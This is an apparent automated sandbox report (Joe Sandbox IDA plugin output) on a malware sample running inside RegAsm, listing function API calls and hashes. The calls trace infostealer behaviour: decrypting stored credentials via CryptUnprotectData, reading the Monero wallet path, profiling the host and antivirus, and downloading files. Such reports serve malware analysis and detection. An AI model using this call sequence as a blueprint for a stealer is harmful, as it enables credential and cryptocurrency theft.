Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040F870: _EH_prolog.MSVCRT ref: 0040F875
Part of subcall function 0040F870: GetSystemTime.KERNEL32(?,004242A8,00000001,00000000,00000000), ref: 0040F8B5

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00406572: _EH_prolog.MSVCRT ref: 00406577
Part of subcall function 00406572: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040659A
Part of subcall function 00406572: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004065B1
Part of subcall function 00406572: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004065CD
Part of subcall function 00406572: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 004065E7
Part of subcall function 00406572: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406608

FindNextFileA.KERNEL32(00000000,?,?,?,?,?,?,0042034C), ref: 004017C2
FindClose.KERNEL32(00000000,?,?,?,?,?,0042034C), ref: 004017D1
FindNextFileA.KERNEL32(?,?), ref: 00401B16
FindClose.KERNEL32(?), ref: 00401B27

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 00412DF0: _EH_prolog.MSVCRT ref: 00412DF5
Part of subcall function 00412DF0: CreateThread.KERNEL32(00000000,00000000,00411D06,?,00000000,00000000), ref: 00412E95
Part of subcall function 00412DF0: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00412E9D

Part of subcall function 0040F9F1: _EH_prolog.MSVCRT ref: 0040F9F6
Part of subcall function 0040F9F1: GetFileAttributesA.KERNEL32(00000000,?,0040D3CF,?,?,?,?), ref: 0040FA0A

Part of subcall function 00406572: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004065FD

Part of subcall function 00412DF0: Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 00412E73

Strings

5, xrefs: 00401AEB
\*.*, xrefs: 0040128D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileH_prolog$Find$lstrcpy$Close$CreateFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: 5$\*.*
API String ID: 40499504-3045658031
Opcode ID: 7cad23e7cd8eff9178b0579e22ef2d639b5ebe922cf6abc5ae9adf1a3a63ea15
Instruction ID: eb6d6bd8e269dd2983524d24345f17a7fe7000a25cb426269b743fe4d0dcfe39
Opcode Fuzzy Hash: 7cad23e7cd8eff9178b0579e22ef2d639b5ebe922cf6abc5ae9adf1a3a63ea15
Instruction Fuzzy Hash: 77629330804188EACB19E7E6D955BDDBBB85F28308F5049AEF445732C2EF781B58DB25

Uniqueness

Uniqueness Score: -1.00%

Function 0040970D Relevance: 15.3, APIs: 10, Instructions: 301fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409712

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E685: _EH_prolog.MSVCRT ref: 0040E68A
Part of subcall function 0040E685: lstrcpy.KERNEL32(00000000), ref: 0040E6D6
Part of subcall function 0040E685: lstrcat.KERNEL32(?,?), ref: 0040E6E0

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00423CE8,?,?,00423AE7,00000000), ref: 0040978F
StrCmpCA.SHLWAPI(?,00423CEC), ref: 004097AC
StrCmpCA.SHLWAPI(?,00423CF0), ref: 004097C6
StrCmpCA.SHLWAPI(?,00000000,?,?,?,00423CF4,?,?,00423AEA), ref: 0040985D
StrCmpCA.SHLWAPI(?), ref: 004098DB

Part of subcall function 004010A5: _EH_prolog.MSVCRT ref: 004010AA

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00408A2F: _EH_prolog.MSVCRT ref: 00408A34
Part of subcall function 00408A2F: CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00000000,?,00423AD7), ref: 00408AE5

FindNextFileA.KERNELBASE(00000000,?), ref: 00409AB2
FindClose.KERNEL32(00000000), ref: 00409AC1

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 322284088-0
Opcode ID: f7293cf8c40abc3ab9183fce139136de42aeed4023b6245af99da8d3f6e5e523
Instruction ID: 9ab5aef411ed1426a2616885b47b2f09622197c1787a99429f030ef60bd985b5
Opcode Fuzzy Hash: f7293cf8c40abc3ab9183fce139136de42aeed4023b6245af99da8d3f6e5e523
Instruction Fuzzy Hash: 18C15370904248EACF00EBA6D9467DD7BB86F19318F50456EF845B32C1EB785B48CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004051CC Relevance: 15.1, APIs: 10, Instructions: 116networkfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004051D1

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Part of subcall function 00403E7A: _EH_prolog.MSVCRT ref: 00403E7F
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EB1
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EBA
Part of subcall function 00403E7A: ??_U@YAPAXI@Z.MSVCRT ref: 00403EC3
Part of subcall function 00403E7A: lstrlen.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403EDD
Part of subcall function 00403E7A: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403EED

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405220
StrCmpCA.SHLWAPI(?), ref: 0040523A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 0040525E
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 0040527F
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004052A6
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004052CA
CloseHandle.KERNEL32(?,?,00000400), ref: 004052E4
InternetCloseHandle.WININET(00000000), ref: 004052EB
InternetCloseHandle.WININET(?), ref: 004052F4

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$H_prologOpen$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2737972104-0
Opcode ID: cb0445c96f808b9b1b6cb8c65fe8f77d671c463bf542d28b644d3319abdfb56d
Instruction ID: 066dd02ed9fc39b173800dfe11309026a0c2be43c8eca03e9b45c8451571b10a
Opcode Fuzzy Hash: cb0445c96f808b9b1b6cb8c65fe8f77d671c463bf542d28b644d3319abdfb56d
Instruction Fuzzy Hash: 47414672900209ABDB10EFA0DC85EEE7B7DEF04704F10456AF905B21D0DB389A49CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA01 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040EA06

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

GetKeyboardLayoutList.USER32(00000000,00000000,004240C7,00000000,?,00000000), ref: 0040EA38
LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040EA46
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040EA51
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040EA7B

Part of subcall function 0040E6F9: _EH_prolog.MSVCRT ref: 0040E6FE
Part of subcall function 0040E6F9: lstrlen.KERNEL32(?,?,?,?,?,004156A9,?,?,00424818,?,00000000,004243BE), ref: 0040E726
Part of subcall function 0040E6F9: lstrcpy.KERNEL32(00000000), ref: 0040E74D
Part of subcall function 0040E6F9: lstrcat.KERNEL32(?,?), ref: 0040E758

Part of subcall function 0040E63E: lstrcpy.KERNEL32(00000000,?), ref: 0040E677

LocalFree.KERNEL32(?), ref: 0040EB1F

Strings

/ , xrefs: 0040EA89

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prologKeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 2868853201-4001269591
Opcode ID: f994c510680abe1370d444185ac0d06701b51346f26486e2f48fddc1917a5d09
Instruction ID: 97666d30631a098710594466eb99f5a7a779b1dd74db042e62ea6268d08819e0
Opcode Fuzzy Hash: f994c510680abe1370d444185ac0d06701b51346f26486e2f48fddc1917a5d09
Instruction Fuzzy Hash: 6B314C71901218EECB14DFE6D885AEEBBB9FF48304F50486EF505B3281D7385A44CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040FED2 Relevance: 9.0, APIs: 6, Instructions: 45processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040FED7
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040FEFD
Process32First.KERNEL32(00000000,00000128), ref: 0040FF0D
Process32Next.KERNEL32(00000000,00000128), ref: 0040FF1F
StrCmpCA.SHLWAPI(?,?,?,?,00000000), ref: 0040FF33
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0040FF46

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32
String ID:
API String ID: 186290926-0
Opcode ID: 7f4f5a0f0ee70254b2625b135edba714e8cbb4997dae1c17c5eed851fa04f05c
Instruction ID: 336d9c1371be1000b212d017dd6a25f0c540d93733e806c214742f131b732849
Opcode Fuzzy Hash: 7f4f5a0f0ee70254b2625b135edba714e8cbb4997dae1c17c5eed851fa04f05c
Instruction Fuzzy Hash: 90014C71900119ABCB21AB55EC48ADEBBB9EF85350F1440A7F405F2250D7789F45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040F039 Relevance: 7.6, APIs: 5, Instructions: 70processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040F03E

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F079
Process32First.KERNEL32(00000000,00000128), ref: 0040F08A
Process32Next.KERNEL32(?,00000128), ref: 0040F0F2
CloseHandle.KERNEL32(?,?,00000000), ref: 0040F0FF

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 599723951-0
Opcode ID: 4d06e5f3005154e5a9a5ff31dd86cbb29f3b4e1bc7181ad254eea3dd4934fdef
Instruction ID: a3f5c6517c6e1df6110bbc2fccbe3d679d4cc2f5ae45dce933268adf8c753fa0
Opcode Fuzzy Hash: 4d06e5f3005154e5a9a5ff31dd86cbb29f3b4e1bc7181ad254eea3dd4934fdef
Instruction Fuzzy Hash: E0213071A00118EBCB10DFAADD45AEEBBB9AF98305F40446EE405F3291DB784A089B64

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
HeapAlloc.KERNEL32(00000000,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
RegOpenKeyExA.KERNEL32(000000FF,00000000,00000000,00020119,?,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401BE9,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 62e1056c78a3f24023a1fdf72ed8deb6e8d96f8ef2f78eddac7b94d0e7f5f07d
Instruction ID: 3752f543c3f1d5a382173cdf7a3bcb8f22aaf484663e3d0e1abfc109c36c0fd1
Opcode Fuzzy Hash: 62e1056c78a3f24023a1fdf72ed8deb6e8d96f8ef2f78eddac7b94d0e7f5f07d
Instruction Fuzzy Hash: 8CF03075640208FFDB155F91EC0AF9E7B7AEB44B40F104025FA01A91A0D7B19A119B64

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9AE Relevance: 6.0, APIs: 4, Instructions: 29memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000,?,AV: ), ref: 0040E9BF
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040E9C6
GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00424458,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040E9D5
wsprintfA.USER32 ref: 0040E9F3

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 7c1b76a00ce3a0eaa6fa7f243851c7b19d5da63cfe1f6a25d7515a53caff0368
Instruction ID: 2892f31a1090f023aa7c51b6845b4259c32c7530b1dc0dad4ed8fecfbe6fcd73
Opcode Fuzzy Hash: 7c1b76a00ce3a0eaa6fa7f243851c7b19d5da63cfe1f6a25d7515a53caff0368
Instruction Fuzzy Hash: DCE02271700320BBDB1067B8BC0EF8A3B6EDB01320F100212FA15E21D0E674895487E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040668C Relevance: 4.5, APIs: 3, Instructions: 46memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004066AF
LocalAlloc.KERNEL32(00000040,?,?), ref: 004066C7
LocalFree.KERNEL32(?), ref: 004066E5

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 97aef5ebfb2d0572dbcd3ae25462a5dae47f840954029a95db224d964b08a9ac
Instruction ID: 71fb2d69f1e31fe7c789bff925abdbe5be94f9285ac401a9d0571dbdd394e3cf
Opcode Fuzzy Hash: 97aef5ebfb2d0572dbcd3ae25462a5dae47f840954029a95db224d964b08a9ac
Instruction Fuzzy Hash: 10011D76900208AFDB11DFA8DC848DEBBBDFF48600F100866F945E7250D7759950CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8E7 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00415689,004243BE), ref: 0040E8F3
HeapAlloc.KERNEL32(00000000,?,?,?,00415689,004243BE), ref: 0040E8FA
GetUserNameA.ADVAPI32(00000000,?), ref: 0040E90E

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: a7e5ef27a8eb478d6409e9c32a4a4886a2db29656f7f5b41abef61f854db315e
Instruction ID: 764a6115b0c55b02daa709efcafe6df264638fc510293ffa10acdc9ee02f75e6
Opcode Fuzzy Hash: a7e5ef27a8eb478d6409e9c32a4a4886a2db29656f7f5b41abef61f854db315e
Instruction Fuzzy Hash: DFD05EB6204204BBD7009BA5ED4EE8FBBBEEB84B15F100055FA02D3290EAF0990586B0

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB9D Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 0040EBAA
wsprintfA.USER32 ref: 0040EBBF

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 091f1f1bc726940fec641889086e2a62d2da06bc6932eac9de63e40440c6fbbb
Instruction ID: 74060d1a51a02853621cad8c24fe3866a17339d29bb3c0b740151dfb6ff693e9
Opcode Fuzzy Hash: 091f1f1bc726940fec641889086e2a62d2da06bc6932eac9de63e40440c6fbbb
Instruction Fuzzy Hash: 1ED05EB590021DDBCF10DBA0FC89E8977BDAB04308F4041A2A700F2090E374E61ECBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00415A5B Relevance: 207.0, APIs: 114, Strings: 4, Instructions: 490
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(756D0000,00415033), ref: 00415A6F
GetProcAddress.KERNEL32(?,00415729), ref: 00415A86
GetProcAddress.KERNEL32(?,00415729), ref: 00415A9D
GetProcAddress.KERNEL32(?,00415729), ref: 00415AB4
GetProcAddress.KERNEL32(?,00415729), ref: 00415ACB
GetProcAddress.KERNEL32(?,00415729), ref: 00415AE2
GetProcAddress.KERNEL32(?,00415729), ref: 00415AF9
GetProcAddress.KERNEL32(?,00415729), ref: 00415B10
GetProcAddress.KERNEL32(?,00415729), ref: 00415B27
GetProcAddress.KERNEL32(?,00415729), ref: 00415B3E
GetProcAddress.KERNEL32(?,00415729), ref: 00415B55
GetProcAddress.KERNEL32(?,00415729), ref: 00415B6C
GetProcAddress.KERNEL32(?,00415729), ref: 00415B83
GetProcAddress.KERNEL32(?,00415729), ref: 00415B9A
GetProcAddress.KERNEL32(?,00415729), ref: 00415BB1
GetProcAddress.KERNEL32(?,00415729), ref: 00415BC8
GetProcAddress.KERNEL32(?,00415729), ref: 00415BDF
GetProcAddress.KERNEL32(?,00415729), ref: 00415BF6
GetProcAddress.KERNEL32(?,00415729), ref: 00415C0D
GetProcAddress.KERNEL32(?,00415729), ref: 00415C24
GetProcAddress.KERNEL32(?,00415729), ref: 00415C3B
GetProcAddress.KERNEL32(?,00415729), ref: 00415C52
GetProcAddress.KERNEL32(?,00415729), ref: 00415C69
GetProcAddress.KERNEL32(?,00415729), ref: 00415C80
GetProcAddress.KERNEL32(?,00415729), ref: 00415C97
GetProcAddress.KERNEL32(?,00415729), ref: 00415CAE
GetProcAddress.KERNEL32(?,00415729), ref: 00415CC5
GetProcAddress.KERNEL32(?,00415729), ref: 00415CDC
GetProcAddress.KERNEL32(?,00415729), ref: 00415CF3
GetProcAddress.KERNEL32(?,00415729), ref: 00415D0A
GetProcAddress.KERNEL32(?,00415729), ref: 00415D21
GetProcAddress.KERNEL32(?,00415729), ref: 00415D38
GetProcAddress.KERNEL32(?,00415729), ref: 00415D4F
GetProcAddress.KERNEL32(?,00415729), ref: 00415D66
GetProcAddress.KERNEL32(?,00415729), ref: 00415D7D
GetProcAddress.KERNEL32(?,00415729), ref: 00415D94
